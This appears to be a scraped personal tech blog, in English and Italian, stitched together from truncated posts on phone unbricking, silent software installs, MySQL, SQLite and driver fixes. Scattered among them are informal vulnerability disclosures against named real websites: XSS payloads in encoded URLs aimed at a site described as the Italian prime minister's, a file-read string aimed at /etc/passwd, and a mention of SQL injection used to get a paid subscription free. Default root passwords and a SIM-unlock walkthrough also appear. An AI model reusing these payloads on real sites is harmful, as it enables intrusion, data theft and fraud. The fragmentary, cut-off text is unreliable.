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S5830i unbrick, S5830i root, S5830i fix can't mount, S5830i unlock

This method will let you:

unbrick (boot loop) most of the S5830i without caring about the version ( YOG, VOD, ITV, etc)

This works also to fix the error "can't mount /dataRebooting"

Download from one package
S5830iXXKL1_S5830iXXKK5_OXEKK4 with Odin3 v1.85

Start (as administrator) Odin3 v1.85.exe

Check  the flag on "re-partition" if you have the "can't mount /dataRebooting" problem.
Check "autoreboot".

Select all the necessary files.
PIT: totoro_0623.pit
Bootloader: BOOT_S5830iXXKK5_REV00.tar
PDA: PDA_S5830iXXKL1_REV00.tar

Click on Start


Tested with italian and spanish versions ITV VOD YOG

Should work with:

Baltic - SEB

Bangladesh - TML
Version: Android 2.3.6

Bulgaria GBL
CSC: S5…

load an sql file in a sqlite database from command line | SQLite command line

Download the sqlite CLI from the website

sqlite command line for windows
sqlite command line for windows phone 8
sqlite command line for Linux
sqlite command line for Mac OS X (x86)

and just run
sqlite3.exe -init yoursqlfile.sql yourdatabasename.db

load an sql file in a sqlite database from command line with macos.
load an sql file in a sqlite database from command line - windows XP.
load an sql file in a sqlite database from command line - windows vista.
load an sql file in a sqlite database from command line - windows 7.
load an sql file in a sqlite database from command line - windows 8.
load an sql file in a sqlite database from command line - Linux. XSS


funny XSS
In the search engine add a word that is for sure in the database and an "or" so that you will get for sure a result

notizie or <script>alert(123);</script>

sql injection to activate the subscription without paying (with a fake telephone number)

Fix Outlook asking for IE5setup.exe

 Download and run this reg file and everything should be fix

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}]
@="Microsoft Windows"

Cannot start Microsoft Outlook. Outlook requires Microsoft Outlook
Express 4.01 or greater. You …

skype webcam fix workaround for vista and windows xp | How to use most of the older skype versions

UPDATE: after writing (spamming?) a few links about this solution skype have changed the informations on the back of the main windows on older version informing that they will be retired.

After that you've already updated, for sure, your O.S. and the drivers of your webcam install the latest version of skype .... probably you already have it installed since you are facing that problem.

Login  with your account and make sure to -check- to remember the password so that skype locally saves the credentials (Credentials3 in the latest version).

Downloard this zip and uncompress the file (skypeb.exe) it in the skype folder

create a link on the desktop and just start it when needed.

Check your preferences and the webcam should be there with the older version of skype that should not prompt to update (since we automatically login).
Disable the automatic updates.

I prefer this way so that even if it automatically updates everythi…

USB 2.0 Webcam usb\vid_1e4e&pid_0102&rev_0002 drivers

This is an easy task but I've wasted a lot of time to find it out (ok, I'm not smart guy .... )

right-click on "My Computer" and select "Properties".
Select the "Device Manager" tab.
Click on Device Manager in the left pane.
Select your device (the "usb 2.0 webcam" with the question mark).
right-click and select "Update Driver".
This will launch an update Wizard.
Choose to install from the local computer (not from the path).
Select the "manual" installation.
Manually select  "composite usb device" that should be listed in the compatible drivers.

You can use most of the applications for webcams. The one that is working for sure with this device is "cyberlink youcam".
 If the webcam doesn't show up immediately you need to go in the options and select the device.

A very easy thing that h…

Date error with MySQL and .NET

Date error with MySQL and .NET

Sample query to retrieve a date from mysql and use it directly with a dataset, datatable, datagridview.
Select DATE_FORMAT(mysqldatecolumn, '%Y-%m-%d' )  from mytable

To convert the date in .net
convert.ToDateTime(MyVariableWithDate).ToString("yyyy-MM-dd") Datetime.Now().ToString("yyyy/MM/dd hh:mm:ss")
when we wan to retrieve and add the date in the db.

A workaround in mysql is to set those vars for the session. It's not suggested and sometimes the variables are read only.
SET SESSION date_format="%Y/%m/%d";
SET SESSION datetime_format="%Y/%m/%d %H:%i:%s";

Mysql Exception MySql.Data.Types.MySqlConversionException' in MySql.Data.dll

Note: Info are a bit messed up

Firma Digitale Monte Paschi Siena per windows 7 64bit, Windows8 64bit, windows 8.1 64bit

(versione aggiornata dopo l'uscita di fileprotector 5.5 ..... qualche giorno dopo che mi ero lamentato al telefono)

Inserire la penna usb per firma digitale

Assicurarsi di avere installato java 1.5 (per fare prima è consigliabile questa versione) per Fileprotector  5.2 o inferiore (soluzione vecchia)
altrimenti assicurarsi di avere l'ultima versione a 64 bit di java ed installare fileprotect 5.5

Scaricare ed Installare. Eseguire il setup.exe come amministratore)

Scaricare ed installare fileprotector (eseguire il file come amministratore) (5.2) (versione che richiede java 64 bit)

Attivare ed aggiornare il certificato direttamente tramite  Fileprotector inserendo codice fiscale e password di attivazione ricevuta (inizia con M…

SQL Server Management - error 29506

Just run the MSI installer as administrator.
If it doesn't work try to start it from the command line.

run cmd as administrator
start SQLServer2005_SSMSEE_x64.msi

SQL server is not mandatory but the application would be useless without it.

SQLServer2005_SSMSEE_x64.msi error 29506
SQLServer2005_SSMSEE_x86.msi error 29506
error 29506
fix SQL Server Management error 29506
solve SQL Server Management error 29506

Force Unmount and Clean up of a Wim Image using DISM

Force Unmount and Clean up of a Wim Image using DISM

When you use RT7 (+ AIK) sometimes an error occurs stating that there's a mounted wim (ex.  boot.wim).
To solve the problem you should run, as administrator, the command:

dism /cleanup-wim
If it doesn't work I've found another solution by editing the registry and deleting all the (necessary) entries within:

"HKLM\SOFTWARE\Microsoft\WIMMount\mounted images\"

It should work as long as you are an administrator.

default password for opensolaris - live cd - usb - full installation - beta

default password for opensolaris - live cd - usb - full installation - beta

The default password, default account, default user, for the live cd/usb are:

username: root
password: opensolaris

username: jack
password: jack


The default password, default account, default user, for the virtual images, virtualbox vdi image, oracle vm templates are:

username: root
password: ovsroot

username: oracle
password: oracle

(reference )

Huawei E585 unlock code unlocking free

Run dc-unlocker2client.exe

Download Files/Software

Click on the magnifying glass to search automatically the modem:

Found modem         : .B
Model               : Huawei E585
IMEI                : 352398043026808
Serial NR.          : M7A4CA1121502022
Firmware            : 1026.11.323.02.505sp01
Compile date / time : Dec 14 2010 20:09:05
Hardware ver.       : WL1E585HM_E585
Dashboard version   : UTPS1.01.01.12_MAC1.01.00.12
Chipset             : Qualcomm MSM7625A
SIM Lock status     : Locked (Card Lock)

if the Firmware version (see the last 505sp01) differs install

Install "Huawei Reader PSAS setup.exe"

Hardware Forensics -> Use Mobile Ports

Choose the Diag Port (QC) Tab
In the same window (under Diag Functions (values to be entered have to be in hex))
choose Read EFS and check "Alternative Method".
Click on "Let's go"
Save the file rapiconfig.xml
Open the xml file with notepad or something else

You will see binary garbage but just do…

recover contacts from the hidden Backup Folder of the Windows Phones - recover contacts from damaged phones

Recover from backup Windows Phone 7
 Recover from backup Windows Phone 8

From what I've seen, sometimes, there are (hidden) "Backup" (the name is backup) folders on the SD of the windows Phones. It could happen when you do an update of the system (that's what I've read in a forum).

Inside the folder there's a file with "arc" extension and it could be opened with NbuExplorer with dbshell.

nbuexplorer -
dbshell -

extract the nbuexplorer and then extract dbshell (inside the nbuexplorer's folder).

The contacts and messages, as other stuff, will be available

How to backup Phone Contacts on sd from Windows Phone

Windows Phone backup on SD
contacts backup - amaze software

Select the various options
Include contact Photos and backup contacts from (the account configured).

Click on the first icon to retrieve the contacts (I don't know if it's mandatory) and click on the last icon to save on the SD.

There is also another nice feature with the download option it opens a webserver from the phone and you can collect the data via browser.

Pretty nice app.

install 7zip with all the file associations

I've found an MST file that is working better

Thanks to adrian k too.

MSIEXEC.EXE /I 7z920.msi TRANSFORMS=7-Zip_Customizations.mst /norestart /qb!

I've wasted a bit of time trying to do something as clean as possible to add auomatically, silent mode, the file associations with 7zip.

Thanks to  Oleg L. ( ) on sourceforge

Download the original file

command line

Libreoffice silent installation

Libreoffice silent installation
Libreoffice 4 silent installation
Libreoffice 3 silent installation
Libreoffice unattended installation
Libreoffice 3 unattended installation
Libreoffice 4 unattended installation

fastest version that should work and it's silent

msiexec /qb /i "libreoffice.msi" /quiet /norestart UI_LANGS=it_IT Reboot=No REGISTER_ALL_MSO_TYPES=1

anything below is old and not really working good.
This is an old version but never worked well for me after 3.x.
msiexec /qb! /i PATHTO\LibreOffice_xxx.msi ALLUSERS=1 CREATEDESKTOPLINK=0 IS1033=0 IS1078=0 IS1025=0 IS1101=0 IS1610=0 IS1059=0 IS1026=0 IS2117=0 IS2121=0 IS1150=0 IS1603=0 IS5146=0 IS1027=0 IS32771=0 IS1029=0 IS1106=0 IS1030=0 IS1031=0 IS1604=0 IS2129=0 IS1032=0 IS2057=1 IS7177=0 IS1553=0 IS1034=0 IS1061=0 IS1069=0 IS1065=0 IS1035=0 IS1036=0 IS2108=0 IS1084=0 IS1110=0 IS1095=0 IS1037=0 IS1081=0 IS1050=0 IS1038=0 IS1057=0 IS1039=0 IS1040=0 IS1041=0…

Skype full setup and silent installation.

Skype full setup and silent installation.

You can download the full skype setup from this url

A part of (one of my) a nsis script is following with extra informations in the comments:

; ALLUSERS=1 - install for all the windows users
; /NOIE - No Internet Explorer plugin
; /NOGOOGLE - No Google toolbar
; /verysilent - No installation interface
; /NORESTART - No restart
; /SP-
; /NOCANCEL cannot interrupt
;  /SUPPRESSMSGBOXES - avoid message boxes
; /NOLAUNCH' - doesn't start skype after installation

 ;removing run at windows startup
 RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Skype");


This batch file from "Niels P. Sorensen" saved me a lot of time a few times and I got nervous when I've lost the link to his website when in need of his script.

download java_home batch fix

The script locates JAVA_HOME AND JRE_HOME in the registry and sets the environment variables.

The env. variables not set are really annoying.

Thank to that guy :P.

This post is to remind me where to find the solution :P

bulk download from cache - wget

--random-wait  - random wait to go slower.

-r recursive to recurse in all the subfolders/pages
-p we get all images needed to display the page
-e robots=off - ignore robots.txt rules
-E set as html files with html content
-np don't recurse up to parent folders
 -U "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14" - useragent mozilla
--no-check-certificate - do not check ssl certificates for https connections
#random wait, recursive, get all images needed to display the page,
#ignore robots.txt rules, set as html files with html content,
#don't recurse up to parent folders, useragent mozilla,
#do not check ssl certificates (for https).

wget --random-wait -r -p -e robots=off -E -np -U "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"  --no-check-certificate %1

 ---------------------- ---------------------- ----------------------

error #1146 - Table 'phpmyadmin.pma__recent' doesn't exist

#1146 - Table 'phpmyadmin.pma__recent' doesn't exist

It could happen that the phpmyadmin database doesn't exists and/or phpmyadmin is misconfigured.

To fix the problem we just need to import the file "create_tables.sql" that can be found in (any) the phpmyadmin package inside the "examples/" folders.

mysq -u root --password=mypassword < create_tables.sql

css centering image in a div in the middle of the page - dirty method

Sample css to center blocks, images within divs. I'm not sure if it's a good method.

text-align: center;

.centering img{
  display: inline-block; /*inline block so that we can align it*/

position: absolute;
top: 0;
bottom: 0;
left: 0;
right: 0;
margin: auto;


<div class="centering">
<img src="your_image.png" />

batch script - alert with sound for smart hdd probelms fix

batch script - alert with sound for smart hdd probelms fix
smartmontools detect failure at boot

This is a small batch script that starts an alert if  a "FAILED" string is found in the smartctl report.

@Echo on
SET SMARTBIN=smartmontools\smartctl.exe
SET REPORTFILE=smartinfo.txt
%SMARTBIN% --scan > smartdrives.txt
for /F "tokens=1" %%i in (smartdrives.txt) do %SMARTBIN% -s on %%i > %REPORTFILE% && %SMARTBIN% -i %%i >> %REPORTFILE% && %SMARTBIN% -H %%i >> %REPORTFILE%

findstr /m "FAILED" %REPORTFILE%
if %errorlevel%==0 (
sound\cmdmp3win.exe sound\alert.mp3

I personally cannot suggest smatmontools "as is" without the parsing of the S.M.A.R.T. data or full test with smartmontools.

After creting this sample script I have faced the reality that my HD smart report was not correct .
I prefer to manually check with crystaldisk because it reports as "good" or "problematic" without wasting time and with more ac…

IIS 7 Mime type modification without iis 7 manager | fix svg wrong mime type | svg not appearing

I'm quite ignorant about IIS 7 but after using ii7 manager I've noticed that it's easier than expected to modify
the preconfigured mime types and *any* (I don't know exactly what can be modified or not) other configuration
by adding/modifying "web.config" in the root directory.

This sample file web.config is a modification for the svg that have a wrong mime type and the svg are not showing correctly.


    <system .webserver="">
            <remove fileextension=".svg2">
            <remove fileextension=".svg">
            <mimemap fileextension=".svg" mimetype="image/svg+xml">
            <mimemap fileextension=".svg2" mimetype="image/svg+xml">
installare IIS 7 manager for website administration.
I've faced a simple problem regarding an incorrect svg mime type. The hosting company for a specific website have told me to modify it by myself via iis 7 manager (weird in my opinion). Trovandomi di fronte al problema di dover modificare il mime type per svg. L'assistenza dell'azienda di hosting, Aruba (in questo caso), mi ha risposto di fare le modifiche autonomamente tramite ii7 manager. La cosa mi è sembrata strana perché sarebbe stato utile ed immediato fare le modifiche dal pannello di controllo e non tutti gli utenti hanno sistema operativo Microsoft, i requisiti necessari (a volte mancano pacchetti vari da installare a parte come XML) e le idee non chiarissime su come procedere. ____________________________________________________________

Start->Pannello di controlo

Programmi e funzionalità

Attivazione o disattivazione delle funzionalità Windows

Selezionare "console di gestione IIS" (sotto "I…

Useful tools for mssql



osql batch database extractor

Java client is really good for several different databases. A very nice tool.

It looks interesting but it doesn't connect (maybe i'm writing the wrong connection data)

good for automatic backup (.bak) to local/shared folder, ftp.

several interesting tools.

simple html javascript redirect

Simple javascript and html meta tag to redirect.

<script type="text/javascript">
function Redirect() { location.href = "static/"; }
window.setTimeout("Redirect()", 1000);
<meta http-equiv="refresh" content="1; url=static/">
<div id="redirectlink" ><a href="static/">redirect page</a></div>

Published as personal reminder.

Xamarin studio silent automated installation and download

Xamarin studio offline installation

simplet batch script to (download) and install, also offline, xamarin studio with mono android, xamarin ios, gtk sharp, android sdk tools, android ndk (I'm not sure if it's the right installation method but I've read it in the installation logs of xamarin).

If you need to just install remove the part related to "wget" in the install batch script.

download Xamarin studio silent installation

I needed to automate such process. sometimes msiexec hangs but I don't have the time to verify why (at the moment) ... just kill it from the task manager. Comment for errors, suggestions.

Android SDK Setup automated Installer

Android SDK Setup automated Silent Installer.
Android sdk silent installation.

If you need to install without clicking i've added a very simple setup executable that should work with all the installers of the Android SDK Tools

Download any sdk tool
For Example I've download "installer_r22-windows.exe"
Rename it as "androidsdk.exe"

Run setup.exe from the same folder. The setup runs androidsdk.exe and go ahead without your interaction.
At the end of the setup it opens automatically the tools.

I've simply used  an autoit script. Nothing really particular but I needed to automate various installations.

Download automate android sdk tools installation

It's just for personal use but comments are welcome.

asansambox asangsm Drivers and usage as MXbox that allows (?) Nokia flashing too

I've buyed the Asansambox but due to the big waste of time searching for the right driver I've been unable to install it for more than a week (frustration).
The company told me to use their drivers (there are several links and drivers for the SAME box).

In my case I've to install "smart key" (question mark in the devices manager).
The hardware id hwid (in my case) is SCFILTER\CID_80318065b0831148c883009000

After a search on google I've found a similar product that is the HTI mxkey card (another box?)

I've (simply) set in the inf the hwid as CardName "JCOP41V221". There's no specifi driver needed (in general).

Here you can download the Asansam box drivers

I  don't really know which device is "JCOP41V221" but it looks like the latest (?) version of the mx key ... sort of  ....

I just have problems with already buyed and, for the moment, a -paperweight- named Asansam.

The asansambox is capable to request data from *dead* MTK (chi… | remote file read/download - System compromise

oracle, mysql, hacluster, open-xchange

TNS for Linux: Version - Production-Oracle Database 11g Enterprise Edition Release - 64bit Production

There are too many and mixed up scripting languages and messed up *solutions*.

Read quite any file$debug=pp&$file=/etc/passwd

SEVERAL possible sql injections (there are too many of them ...)

the errors are so kind to give those informations:
host: `localhost'
user: …

Drop tables of a database from command line (windows or linux). MySQL.

Drop tables of a database from command line (windows or linux). MySQL.
How to drop tables from command line with a mysql database.

--setting a session (not global since we probably don't have enough privileges) with an higher length. Change the number/length as needed.
SET SESSION group_concat_max_len = 90000;

--setting a variable with the group concatenated list of the tables (ex.: table1,tables2;). Change the MYTABLENAMETOCHANGE with your own table
SET @mytables = (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = 'MYTABLENAMETOCHANGE');

--setting a variable so that we can have a full DROP (if table exists) statement
SET @drptables = (SELECT CONCAT('DROP TABLE IF EXISTS ', @mytables, ';'));

-- preparing "droppingtables" the sql statement from the @drptables variable
PREPARE droppingtables FROM @drptables;

-- executing the sql statement "droppingtables"
EXECUTE droppingtables;

-- releasing "droppi…

Install OS/2 Warp with (or without) virtualbox

-- Install the oracle virtual box (ex. 4.2.0)
-- Create a new v.machine  with the settings for your os/2 warp version

 Name(anything): os2warp
 Type: IBM OS/2
 Version (the version that you are installing - 4 in my case): OS/2 Warp 4

-- Add one Disk and one Floppy as storage(s) for the virtual machine. Add a CD/DVD drive if you want to install a bit faster (see below).

-- extract the os2warp.iso so that you can use the dsk images for the installation (located in \DISKIMGS\OS2\35\)

-- Load in the floppy device the disk0.dsk and swap when requested by the os2 setup.

-- when the setup asks for the floppy 1 (after 0) use the DISK1_CD.DSK as floppy and remember to put the CD or load the cd iso image in the, virtual or real, cd drive

-- Choose "easy installation" if you don't need particular things.

When you the "Fdisk" application appears it can show you that the first disk is corrupted. Just go ahead and press enter.
press tab and press -> (right) to choose your disk.
A… | XSS



Windows 7 - 64 bit - Carta Nazionale Servizi

Windows 7 - 64 bit - Carta Nazionale Servizi

Installare il proprio lettore di smartcard (alcuni driver sono disponibili qui)

Installare il certificato infocert (windows doppio click su file - sempre avanti) (link diretto)

Installare dike
Per le carte serie 1401, 1402 e token USB serie 1501 DiKe fa uso del software CardOS API: per scaricarlo, vedere le istruzioni nella pagina di DiKe. (Rif. infocert)

Se non funziona dike per le carte che iniziano per: 1203, 1204, 1205, 7420,  6090
installare questa versione ipki (x64)

Per windows XP ed Aruba PEC utilizzare la versione

Per Firefox seguire
Stru… | | XSS, SQL INJ, etc

Personal website of the Italian  prime minister.

XSS and SQL injections. Sys compromise (windows);%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70

carrello_beta.asp?azione=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70finestra_stampa_beta.asp?numero_immagini=%22%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E%3C%22%A7%A7%A7%A7%A7%A7vedi_v%27id%27eo%A7%A7%A71%A7%A7%A70popup.asp… | read file, download remote files, system compromise

The website is dead and I suppose that it can be published.

Warning: file_get_contents(;amp;NRORIGINALURL=%2fbmdc%2f&amp;amp;NRNODEGUID=%7bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%7d&amp;amp;NRCACHEHINT=Guest) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/subdimen/public_html/ on line 63
Bad URL = ";NRORIGINALURL=%2fbmdc%2f&amp;NRNODEGUID=%7bFF6D29D6-98D7-4C9B-9C8B-1B11573299DD%7d&amp;NRCACHEHINT=Guest"! - read local files from remote

published since they have changed the website and the problems have gone.

Possible remote denial of service (server does'nt respond after several requests) or automatic ban from the webserver (???).
Possibility to read data logs.
Possibility to read local files on the server except aspx and probably similar files.

sample page (old not working anymore but cached by the search engines)

Sometimes, random errors are showing up with the same data. I don't know the cause.
Error num [14]: The process cannot access the file "D:\Logs\MFA2003_19_11_2012.log" because it is being used by another process. (ChannelName=|/Channels/MFA/HPChannel|)

List of CCFL Lamps and Codes for LCD Screens

I've create a small list of the most common CCFL Lamps for LCD Screens.
You can download it from google drive and it's in libreoffice/openoffice (ods) format

Please, add more informations and compatibilities with specific screen models or inverters.
I'm working also on a list of inverters and relative compatibilities but it's quite big.